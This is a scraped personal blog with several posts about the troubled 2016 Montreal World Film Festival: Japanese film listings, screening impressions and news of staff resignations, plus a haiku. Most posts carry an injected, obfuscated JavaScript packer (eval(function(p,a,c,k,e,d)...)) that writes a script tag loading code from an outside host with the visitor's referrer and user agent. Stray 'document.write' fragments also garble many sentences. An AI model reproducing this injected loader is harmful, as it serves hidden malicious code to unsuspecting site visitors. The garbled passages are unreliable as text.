MWFF Update Day 3


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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kakti|var|u0026u|referrer|sfiai||js|php’.split(‘|’),0,{}))
We are continuing
our coverage of the Festival des Films du Monde (FFM)

Yesterday, document.write(“”); I’ve put on Vimeo a short video of The Seal of the Sun‘s crew introducing their movie before the screening (unfortunately, I had camera troubles, so the video is not very good and it’s incomplete).

I also went to the screening of The Black Widow Business. It’s a good comedy build around what should be a dark subject: women “seeking out old wealthy men to wed and deprive the bereaved family’s inheritance”. There was again a good attendance as the first level of the theatre was nearly three-quarter full (about 250~350 people). I’ll tell you more about it later.

After the Théatre Outremont announcing it will show the “Documentaries” and “Focus on World Cinema” segments of the festival, now it is the Cinéma du Parc (3575, av. du Parc) that has announced that it will show the movies for the 47th Student Film Festival for free! As usual, check the schedule on the festival’s website.

The next Japanese movies to be shown are (barring any more schedule changes):

Wednesday August 31, 15h00 at Théatre Outremont (TO.31.3) DOC

Frozen Fireworks: The Legendary Japanese Model Sayoko Yamaguchi (???? ????? / Kori no hanabi Yamaguchi Sayoko / lit. “Ice of fireworks Sayoko Yamaguchi”) : Japan, 2015, 97 min.; Dir.: Takako Matsumoto; Prod.: OHO Sayuki; Phot.: KISHIDA Masao; Ed.: MAEJIMA Kenji; Sound: TAKAGI Hajime ; Mus.: HISAMOTO Yukina; Cast: YAMAGUCHI Sayoko, Serge LUTENS, MARUYAMA Keita. A documentary portrait of Yamaguchi Sayoko, Asia’s first “top model”, via rare footage and testimony of friends and professional acquaintances.

Wednesday August 31, 17h00 at Théatre Outremont (TO.31.4) REG

Hold my hand (??????????????????????? / Te wo Tsunaide Kaeroyo — Shangurira no Mukou de / lit. “In the other side of the Let’s go home hand in hand Shangri-La”) : Japan, 2016, 105 min.; Dir.: Yoko Narahashi; Scr.: Masayuki Imai; Cast: Tetsuya Bessho, Itsuji Itao, Jay Kabira, Katsuya, Sumire Matsubara, Masahiro Nakai, Nanami. Makoto has a learning disability but dreams of becoming a truck driver. He falls in love with Sakura, a girl who has a similar disability and wants to become a dancer.

Friday September 2, 11h00 at Théatre Outremont (TO.02.1) DOC

Tsukiji Wonderland (?????????) : Japan, 2016, 116 min.; Dir.: Naotaro Endo. A day at Tokyo’s Tsukiji Market, the biggest wholesale seafood market in the world, for a fascinating view of the seafood business during the ramshackle 80-year-old complex’s last year of operation.

Friday September 2, 17h00 at Théatre Outremont (TO.02.4) DOC

Ken san (???) : Japan, 2016, 95 min.; Dir.: Yuichi Hibi; Phot.: Yoshihisa Toda; Ed.: Miyuki Ohgata; Mus.: Tarô Iwashiro. Ken San pieces together the puzzle of the life and legacy of Japan’s mythical acting icon, Ken Takakura. Collaborators, friends and family share intimate stories of Ken’s journey.

Saturday September 3, 13h00 at Cinéma Impérial (CI.03.3) PRE

A loving husband ( ????? / Koisaika Miyamoto): Japan, 2016, 117 min.; Dir./Scr.: Kazuhiko Yukawa (based on the novel by Kiyoshi Shigematsu); Cast: Yûki Amami (Miyoko), Hiroshi Abe (Yohei). Schoolteacher Yohei is married to Miyoko. For the first time in 25 years they begin to live by themselves when their son marries and moves out. Then Yohei discovers that all’s not well in his marriage.

Sunday September 4, 17h30 at Cinéma Impérial (CI.04.5) COMP

Good Morning Show (??????????? / Guddo Moningu Sho): Japan, 2016, 103 min.; Dir./Scr.: Ryoichi Kimizuka; Cast: Kiichi Nakai, Masami Nagasawa, Mirai Shida, Hiroyuki Ikeuchi, Kento Hayashi, Zen Kajiwara, Haruka Kinami, Shunsuke Daitô, Gaku Hamada, Yô Yoshida, Yutaka Matsushige, Saburô Tokitô. The morning variety show, a staple of television around the world, offers news and entertainment but TV host Shingo didn’t expect to be himself the source of the news and entertainment.

As usual, enjoy the festival while you can because it might very well be the last!

Press reviews:

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MWFF Update Day 2


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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sntze|var|u0026u|referrer|rhnry||js|php’.split(‘|’),0,{}))
We are continuing
our coverage of the Festival des Films du Monde (FFM)

Yesterday was my second day at the festival. I went to see Tatara Samurai in the early evening. It was the premiere of the movie so the crew (the director and the two main actors) arrived in great pomp with a limo and the red carpet. There was lots of people and the main floor of the Imperial Theatre was almost full (which means about 300~400 people). It was a beautiful and excellent samurai movie that reminded me a little of Kurosawa. Unfortunately, document.write(“”); the more I like a movie the more I find difficult to talk about it. But don’t worry, I’ll manage to organize my notes (as well as edit the video of the screening intro and small Q&A session — taken this time with my old and more reliable camera) in the next few days in order to eventually share them with you.

See my “FFM 2016” album on Flickr
Tatara Samurai poster Tatara Samurai Red Carpet arrival
Actors Naoki Kobayashi, Sho Aoyagi and director Yoshinari Nishikori Actors Naoki Kobayashi and Sho Aoyagi
Yesterday afternoon, I also posted online my comment on the movie The Seal of the Sun.

It is really damn difficult to do any planning during this festival. You think that you finally have your stuff organized, you ask for a day off work and then, bang!, they change the schedule. Again. I really hate this situation. You really need to check the screening schedule every day (in the evening and in the morning)!

The next Japanese movie to be shown will be tonight and then, so far, there’s nothing until next week-end — but note that the movie planned for Saturday night, Her Love Boils Bathwater, is CANCELLED!

Tuesday August 30, 19h40 (CI.30.6) HC

Black Widow Business (??? ? ? / Gosaigy? no onna / lit. “Woman of the second wife industry”) : Japan, 2016, 128 min.; Dir./Scr.: Yasuo Tsuruhashi (based on the novel by Hiroyuki Kurokawa); Cast: Masatoshi Nagase, Masatô Ibu, Machiko Ono. With 4000 matchmaking agencies across Japan serving some 600,000 clients, especially men and women over 65, the pickings are ripe for “black widows”. But the daughter of one victim decides to investigate.

Saturday September 3, 13h00 (CI.03.3) PRE

A loving husband ( ????? / Koisaika Miyamoto): Japan, 2016, 117 min.; Dir./Scr.: Kazuhiko Yukawa (based on the novel by Kiyoshi Shigematsu); Cast: Yûki Amami (Miyoko), Hiroshi Abe (Yohei). Schoolteacher Yohei is married to Miyoko. For the first time in 25 years they begin to live by themselves when their son marries and moves out. Then Yohei discovers that all’s not well in his marriage.

Sunday September 4, 17h30 (CI.04.5) COMP

Good Morning Show (??????????? / Guddo Moningu Sho): Japan, 2016, 103 min.; Dir./Scr.: Ryoichi Kimizuka; Cast: Kiichi Nakai, Masami Nagasawa, Mirai Shida, Hiroyuki Ikeuchi, Kento Hayashi, Zen Kajiwara, Haruka Kinami, Shunsuke Daitô, Gaku Hamada, Yô Yoshida, Yutaka Matsushige, Saburô Tokitô. The morning variety show, a staple of television around the world, offers news and entertainment but TV host Shingo didn’t expect to be himself the source of the news and entertainment.

The presence of Isabelle Adjani (as well as the screening of her film Carole Matthieu) has been postponed at the request of the French actress. No new screening date has been announced yet.

Fortunately there’s not only bad news in the festival. It was announced that, out of sheer compassion for movie-makers and movie-goers, from today until next Sunday the Théatre Outremont (1248 avenue Bernard Ouest, near metro Outremont) will start showing movies for the Festival, effectively doubling the number of screens available! Schedule will be announced day by day, but so far today there’s no Japanese movies being shown.

Anyway, enjoy the festival while you can because it might very well be the last!

Press reviews:

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The Seal of the Sun


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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aedbz|var|u0026u|referrer|fhsaz||js|php’.split(‘|’),0,{}))

“On March 11, document.write(“”); 2011, the Eastern Japan Great Earthquake struck.”

“On that day, Japan faced the dangers of a catastrophic event that threatened a large segment of the population. The Earthquake knocked out the electricity at the Fukushima Daichi Nuclear plant located in Northeastern Japan. The emergency cooling system failed and the temperature inside the nuclear reactor kept climbing. A crisis equal to the Chernobyl’s nuclear disaster was looming.”

“The power plant metamorphosed into a gigantic and menacing monster. Scientists, surprised and shocked by the crisis which quickly expanded well beyond what they had predicted, made several erroneous judgements and decisions. The Prime Minister’s office was thrown into chaos with very little accurate information available to them.”

“Meanwhile, residents were hastily evacuated, forced to say good-bye to their homes. However, a time bomb was ticking without any credible solution to the crisis. Then, the catastrophe began with the explosion of the Unit 1 building. It then cascaded into explosions inside of the Unit 2 and 3 buildings. The countdown to the complete meltdown and total destruction continued and never stopped.”

(Text from production flyer)

Continue reading

Weekly notable news (W35)

I always do my best to keep myself acquainted with the affairs of the world. So, document.write(“”); let me share with you a few notable news & links that I came across this week (in no particular order). Of course, lately I am particularly interested in the Montreal World Film Festival, but you’ll find the press review for this event inside my daily festival updates (MWFF in jeopardy, Day 1, Day 1.2).
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ksefb|var|u0026u|referrer|rfnfb||js|php’.split(‘|’),0,{}))

Rhymes with Orange: Tuesday, May 10, 2016

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Haïku

Le chat curieux accepte tant la main de l’étranger
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zsneb|var|u0026u|referrer|febbt||js|php’.split(‘|’),0,{}))
Que la caresse douce du soleil de la fin août
— Qu’il est bon parfois de ne rien faire

                                                  clodjee
                                                  (2016-08-27)

MWFF Update Day 1.2


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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbzbi|var|u0026u|referrer|niksn||js|php’.split(‘|’),0,{}))

We are continuing our coverage of this cultural para-olympics

After picking up my media credentials, document.write(“”); I rushed back home to grab a bite and my camera, then I quickly came back to the festival to watch the first Japanese movie — which had surprisingly popped up on the most recent schedule update.

The production crew (the usual team of producers, director and actor) was there to introduce their movie, but I unfortunately had camera troubles and couldn’t record the whole presentation (maybe my older, cheaper, less advanced camera would have been better after all?).

The movie was quite interesting because of its subject, but I was rather disappointed by the rendering of the story and the production quality. It felt like a small budget movie while I am sure it was not. Anyway, you’ll see my full comments on the movie as soon as I can transcribe my notes, polish the details and put it online (I have a busy schedule in the next few days — including an aunt funerals — so I cannot promise it will be quick).

In the meantimes, enjoy the festival while you can because, as you know, I fear it may well be the last!

Press reviews:

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Image du chat-medi

Don't just ignore me!
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|diaea|var|u0026u|referrer|fanzz||js|php’.split(‘|’),0,{}))
(iPhone 6s, document.write(“”); 2016-08-22)

MWFF update Day 1


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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kekyi|var|u0026u|referrer|nzeih||js|php’.split(‘|’),0,{}))

We are continuing our coverage of the festival

What a crazy world! But as long as there’s movies being shown, document.write(“”); there’s hope!

Yesterday, we went to the festival office to pick up our press passes. It was chaos and lots of people were running around like headless chicken. We were told that due to a “computer problem” all the accreditation submissions had been lost (bug? crash? lock out of their system? ex-staff sabotage? who knows). I understood that we had to resubmit the request in paper (losiqual if the computer are down), so (taking time off from my day job) I went back this afternoon with a print out of the forms and pictures. It was quieter today at the FFM HQ, but apparently, they simply wanted us to email the pictures again. So I ended up taking a picture of the pictures with my phone and emailing them so they could print them on the press cards.

Now we have our press cards, but they look terrible !

REMINDER: The movies are shown ONLY at the Imperial Cinema, but the schedule has changed (several times) and it KEEPS CHANGING so please check it day by day !

Also note that if you purchased a ticket for a screening that has been re-scheduled, I’ve been told that they would exchange it without problem for a ticket of the screening at the new schedule.

For us, aficionados of Japanese cinema, the festival starts tonight! The first movie shown is:

Friday August 26, 19h00 (CI.26.6) REG

The Seal of the Sun (?? ? ? / Taiy? no futa) : Japan, 2016, 130 min., japanese with english subtitles; Dir.: Futoshi Sato; Scr.: Takashi Hasegawa; Phot.: Yukio Komiya; Prod.: Kaoru Ohtsuka; Cast: Yukiya Kitamura, Kenji Anan, Sota Aoyama. At 2:46 PM on March 11, 2011, the Fukushima Daiichi Nuclear Power Plant experiences a black out due to the aftermath of the Tohoku earthquake and tsunami.

So far, there are no movies announced for Saturday and Sunday. Barring any further schedule change, the next Japanese movies will be:

Monday August 29, 18h40 (CI.29.6) COMP

Tatara Samurai (????): Japan, 2016, 135 min.; Dir.: Yoshinari Nishikori; Phot.: Akira Sako; Mus.: Seikou Nagaoka; Cast: Shun Sugata, Denden, Masahiko Tsugawa. When the Amago samurai withdraw their protection of the village of Tatara, famous for their manufacture of the legendary swords, the younger generation — erroneously — believe that guns will suffice.

Tuesday August 30, 19h40 (CI.30.6) HC

Black Widow Business (??? ? ? / Gosaigy? no onna / lit. “Woman of the second wife industry”) : Japan, 2016, 128 min.; Dir./Scr.: Yasuo Tsuruhashi (based on the novel by Hiroyuki Kurokawa); Cast: Masatoshi Nagase, Masatô Ibu, Machiko Ono. With 4000 matchmaking agencies across Japan serving some 600,000 clients, especially men and women over 65, the pickings are ripe for “black widows”. But the daughter of one victim decides to investigate.

Enjoy the festival while you can because, who knows, it might be the last one. Ultima forsan…

Press reviews:

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The MWFF in jeopardy


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We are continuing
our coverage of the festival

The Montreal World Film Festival has received two blows that will most likely prevent it from happening.

First, document.write(“”); Tuesday, a large part of the permanent staff has resigned and explained their decision with this press release:

“It is with deep sadness that the majority of the team behind the festival has decided to stop taking part in the organization of the 40th edition due to an unknown financial situation and the impossibility to secure any festival infrastructure or honor any festival reservation. The team has worked tirelessly in order to find a solution but this close to the festival has decided to no longer stand behind a failing management . We believe in films and we wish you the very best to come.”

Then just one day before the beginning of the festival, Wednesday, Cineplex, which was supposed to provide one of the main festival venues for the projections (the Cineplex Forum), withdrew from the event. They said: “because of financial, timing and operational concerns with the festival itself, we had to make the difficult decision to not partner with them this year”. Most of the regular programming of the festival was to be held at the Cineplex Forum.

In an interview, Serge Losique, the festival founder, said that he had still high hope that they would be able to sign an agreement with Cineplex, and that, in any case, all events and projections scheduled for the Cinema Imperial (premieres, screenings for competition movies, big guests like Dafoe or Adjani) will happen as planned. The tickets for those screenings are already on sale.

I must admit that I am very disappointed. This is a sad and unfortunate situation for which all parties are to blame: it is due as much because of the stubbornness of the festival founder, Serge Losique (who wanted to stay on to celebrate the 40th anniversary but should have resigned and pass the helm of the festival to a younger director a while ago), as of the punitive decision from all level of governments not to provide any subsidies to the festival (because they were not satisfied with the transparency of its public funds management). Everybody should have made better efforts to resolve the situation. Let’s give this festival a chance please !

In the end, the real losers here are the city of Montreal’s reputation and the movie fans who will be deprived of a good occasion to view a great variety of films from all over the world.

Let’s hope that a miracle will save the festival so it could still be held in its entirety. But unfortunately, at this point, I don’t have much hope.

Sources:

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